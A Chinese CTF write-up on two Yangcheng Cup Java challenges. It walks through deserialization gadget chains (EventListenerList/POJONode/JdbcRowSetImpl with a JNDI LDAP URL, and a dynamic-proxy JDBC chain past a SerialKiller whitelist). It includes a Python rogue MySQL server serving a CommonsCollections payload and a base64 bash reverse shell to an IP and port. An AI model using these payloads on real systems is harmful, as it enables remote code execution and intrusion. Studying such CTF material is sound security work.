[羊城杯] java

2024YCB java

除了这个链子还可以尝试JRMPClient去打二次反序列化绕过waf，（burp记得url编码，不然+认为空格返回error卡了这里）

两条链子加上传配合打jdbc 确实精彩

找到string类的getgift 里面有invoke 然后user/ser里面还有readobj

@ResponseBody
public String ser(@RequestParam("ser") String ser) throws IOException, ClassNotFoundException {
    byte[] decode = Base64.getDecoder().decode(ser);
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    byteArrayOutputStream.write(decode);
    MyObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
    objectInputStream.readObject();
    return "Success";
}

所以Gadget找 readobj -> tostring用EventListenerList#readObject -> toString
然后调 POJONode#toString -> getter 打jdbc

还用了上传文件jar读取类

看下最后的链子

package com.example;

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import com.example.bean.User;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Vector;
import java.sql.Driver;
import com.sun.rowset.JdbcRowSetImpl;

//找  Readobj-> tostring


// EventListenerList#readObject -> toString
//                   POJONode      #toString -> getter     -> jdbc

public class EventListenerListReadObject2ToString {
    public static void main(String[] args) throws Exception{
//        ToStringClass toStringClass = new ToStringClass();
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
//        EXP为我们的恶意类
        String url = "ldap://ip:2333/EXP";
        jdbcRowSet.setDataSourceName(url);
        User user = new User();
        user.username="jar:file:/templates/yaml-payload1.jar!/";

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        POJONode node = new POJONode(jdbcRowSet);  //
//        JacksonToString2Getter jackson = new JacksonToString2Getter();


        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(node);
        setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
        byte[] code = serialize(list);
        System.out.println(Base64.getEncoder().encodeToString(code));
        unserialize(code);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception{
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i++) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e){
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        return baos.toByteArray();
    }
    public static void unserialize(byte[] code) throws Exception{
        ByteArrayInputStream bais = new ByteArrayInputStream(code);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

本地打通神清气爽，一步步分析出来

下面是之前的文章了，反正都是ycb，索性粘在一起

YCB2020 a_piece_of_java

发现自己有难得的java环境 遂复现

Java 源码审计反序列化题，分为两步：

1. 源码中对 cookie 的反序列化，里面有 SerialKiller 的白名单限制（而 SerialKiller 同时也引入了 apache-commons-collections 的危险依赖），通过动态代理构造 payload 触发连接数据库的操作。

2. JDBC 反序列化攻击 apache-commons-collections 执行命令。

简单看一下源码，有个连接mysql数据库，jdbc 还有个简答的userinfo类

然后就剩一个maincontroller

内容不多，两个页面，然后反序列化，用了base64

/index里面查看cookie 符合的话可以到/hello

public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
   UserInfo userinfo = new UserInfo();
   userinfo.setUsername(username);
   userinfo.setPassword(password);
   Cookie cookie = new Cookie("data", serialize(userinfo));
   cookie.setMaxAge(2592000);
   response.addCookie(cookie);
   return "redirect:/hello";
 }

有一个奇怪的依赖

<dependency>
    <groupId>org.nibblesec</groupId>
    <artifactId>serialkiller</artifactId>
    <version>3.0</version>
</dependency>

去maven查一下

<dependencies>
  <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
  </dependency>
  <dependency>
    <groupId>commons-configuration</groupId>
    <artifactId>commons-configuration</artifactId>
    <version>1.10</version>
  </dependency>
  <dependency>
    <groupId>commons-lang</groupId>
    <artifactId>commons-lang</artifactId>
    <version>2.6</version>
  </dependency>
  <dependency>
    <groupId>commons-logging</groupId>
    <artifactId>commons-logging</artifactId>
    <version>1.2</version>
  </dependency>
</dependencies>

里面有cc链 呢是jdbc打cc链了

直接打会报错HashMap whitelist not match说明有限制，有过滤什么的

文件里面有serialkiller.conf

只能使用java.lang和gdufs两个路径的类

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <mode>
        <!-- set to 'false' for blocking mode -->
        <profiling>false</profiling>
    </mode>
    <blacklist>

    </blacklist>
    <whitelist>
        <regexp>gdufs\..*</regexp>
        <regexp>java\.lang\..*</regexp>
    </whitelist>
</config>

private void connect() {
    String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
    try {
      this.connection = DriverManager.getConnection(url);
    } catch (Exception e) {
      e.printStackTrace();
    } 
  }
  
  public Boolean checkAllInfo() {
    if (this.host == null || this.port == null || this.username == null || this.password == null)
      return Boolean.valueOf(false); 
    if (this.connection == null)
      connect(); 
    return Boolean.valueOf(true);
  }
  
  public String getAllInfo() {
    return "Here is the configuration of database, host is " + this.host + ", port is " + this.port + ", username is " + this.username + ", password is " + this.password + ".";
  }

jdbc连接，

this.connection = DriverManager.getConnection(url);这里触发

它又可以通过getallinfo触发

getallinfo看看在infoinvocationhandler里面的invoke触发 ，他都invoke了

可以使用动态代理，动态代理调用invocationhandler类 都会触发invoke

public class InfoInvocationHandler implements InvocationHandler, Serializable {
  private Info info;

  public InfoInvocationHandler(Info info) {
    this.info = info;
  }

  public Object invoke(Object proxy, Method method, Object[] args) {
    try {
      if (method.getName().equals("getAllInfo") && 
        !this.info.checkAllInfo().booleanValue())
        return null; 
      return method.invoke(this.info, args);
    } catch (Exception e) {
      e.printStackTrace();
      return null;
    } 
  }
}

所以就是

connect()->DriverManager.getConnection(url)
	checkAllInfo()->connect()
		InfoInvocationHandle->invoke->checkAllInfo()

启动一个恶意的mysql服务器rce

import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
   data = conn.recv(1024)
   print("[*] Receiveing the package : {}".format(data))
   return str(data).lower()

def send_data(conn,data):
   print("[*] Sending the package : {}".format(data))
   conn.send(binascii.a2b_hex(data))

def get_payload_content():
   #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > payload 
   file= r'payload'
   if os.path.isfile(file):
       with open(file, 'rb') as f:
           payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
       print("open successs")

   else:
       print("open false")
       #calc
       payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
   return payload_content

# 主要逻辑
def run():

   while 1:
       conn, addr = sk.accept()
       print("Connection come from {}:{}".format(addr[0],addr[1]))

       # 1.先发送第一个 问候报文
       send_data(conn,greeting_data)

       while True:
           # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
           receive_data(conn)
           send_data(conn,response_ok_data)

           #其他过程
           data=receive_data(conn)
           #查询一些配置信息,其中会发送自己的 版本号
           if "session.auto_increment_increment" in data:
               _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
               send_data(conn,_payload)
               data=receive_data(conn)
           elif "show warnings" in data:
               _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
               send_data(conn, _payload)
               data = receive_data(conn)
           if "set names" in data:
               send_data(conn, response_ok_data)
               data = receive_data(conn)
           if "set character_set_results" in data:
               send_data(conn, response_ok_data)
               data = receive_data(conn)
           if "show session status" in data:
               mysql_data = '0100000102'
               mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
               mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
               #获取payload
               payload_content=get_payload_content()
               #计算payload长度
               payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
               payload_length_hex = payload_length[2:4] + payload_length[0:2]
               #计算数据包长度
               data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
               data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
               mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
               mysql_data += str(payload_content)
               mysql_data += '07000005fe000022000100'
               send_data(conn, mysql_data)
               data = receive_data(conn)
           if "show warnings" in data:
               payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
               send_data(conn, payload)
           break


if __name__ == '__main__':
   HOST ='0.0.0.0'
   PORT = 3309
   sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
   sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
   sk.bind((HOST, PORT))
   sk.listen(1)
   print("start fake mysql server listening on {}:{}".format(HOST,PORT))
   run()

发现我服务器有
GitHub - fnmsd/MySQL_Fake_Server: MySQL Fake Server use to help MySQL Client File Reading and JDBC Client Java Deserialize

然后是 写payload

public class exp {
    public static void main(String[] args) throws Exception{
        Info databaseInfo = new DatabaseInfo();
        Class c = databaseInfo.getClass();
        //获取类

        //成员变量
        Field usernamefiled = c.getDeclaredField("username");
        usernamefiled.setAccessible(true);
        usernamefiled.set(databaseInfo,"123");
        //方法
        Method getUsernameMethod = c.getDeclaredMethod("getUsername");
        getUsernameMethod.setAccessible(true);
        String username = (String) getUsernameMethod.invoke(databaseInfo);
        System.out.println(username);

        //可以不反射直接用set方法赋值
        DatabaseInfo databaseInfo1=new DatabaseInfo();
        databaseInfo1.setHost("");
        databaseInfo1.setPort("");
        databaseInfo1.setUsername("");
        databaseInfo1.setPassword("");
        //动态代理获取加载器和接口
        InfoInvocationHandler infoInvocationHandler=new InfoInvocationHandler(databaseInfo1);;
        Info info = (Info) Proxy.newProxyInstance(databaseInfo1.getClass().getClassLoader(),databaseInfo1.getClass().getInterfaces(),infoInvocationHandler);
        //反序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(info);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }

最后就是这样

public static void main(String[] args) throws Exception{
        DatabaseInfo databaseInfo = new DatabaseInfo();
        databaseInfo.setHost("vps");
        databaseInfo.setPort("3306");
        databaseInfo.setUsername("yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzExNi4yMDQuMTEyLjEyMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}");
        databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
        Info info =(Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(info);
        oos.close();
        System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray())));

    }

rO0ABXN9AAAAAgAUamF2YS5pby5TZXJpYWxpemFibGUAHmdkdWZzLmNoYWxsZW5nZS53ZWIubW9kZWwuSW5mb3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRnZHVmcy5jaGFsbGVuZ2Uud2ViLmludm9jYXRpb24uSW5mb0ludm9jYXRpb25IYW5kbGVyY59H/KdZhO8CAAFMAARpbmZvdAAgTGdkdWZzL2NoYWxsZW5nZS93ZWIvbW9kZWwvSW5mbzt4cHNyACZnZHVmcy5jaGFsbGVuZ2Uud2ViLm1vZGVsLkRhdGFiYXNlSW5mb19JEpYnRJPdAgAFTAAKY29ubmVjdGlvbnQAFUxqYXZhL3NxbC9Db25uZWN0aW9uO0wABGhvc3R0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgAJTAAEcG9ydHEAfgAJTAAIdXNlcm5hbWVxAH4ACXhwcHQADzExNi4yMDQuMTEyLjEyMXQAZTEyMyZhdXRvRGVzZXJpYWxpemU9dHJ1ZSZxdWVyeUludGVyY2VwdG9ycz1jb20ubXlzcWwuY2ouamRiYy5pbnRlcmNlcHRvcnMuU2VydmVyU3RhdHVzRGlmZkludGVyY2VwdG9ydAAEMzMwNnQAgXlzb19Db21tb25zQ29sbGVjdGlvbnM1X2Jhc2ggLWMge2VjaG8sTDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV4Tmk0eU1EUXVNVEV5TGpFeU1TODJOalkySURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQ==

页面也有回显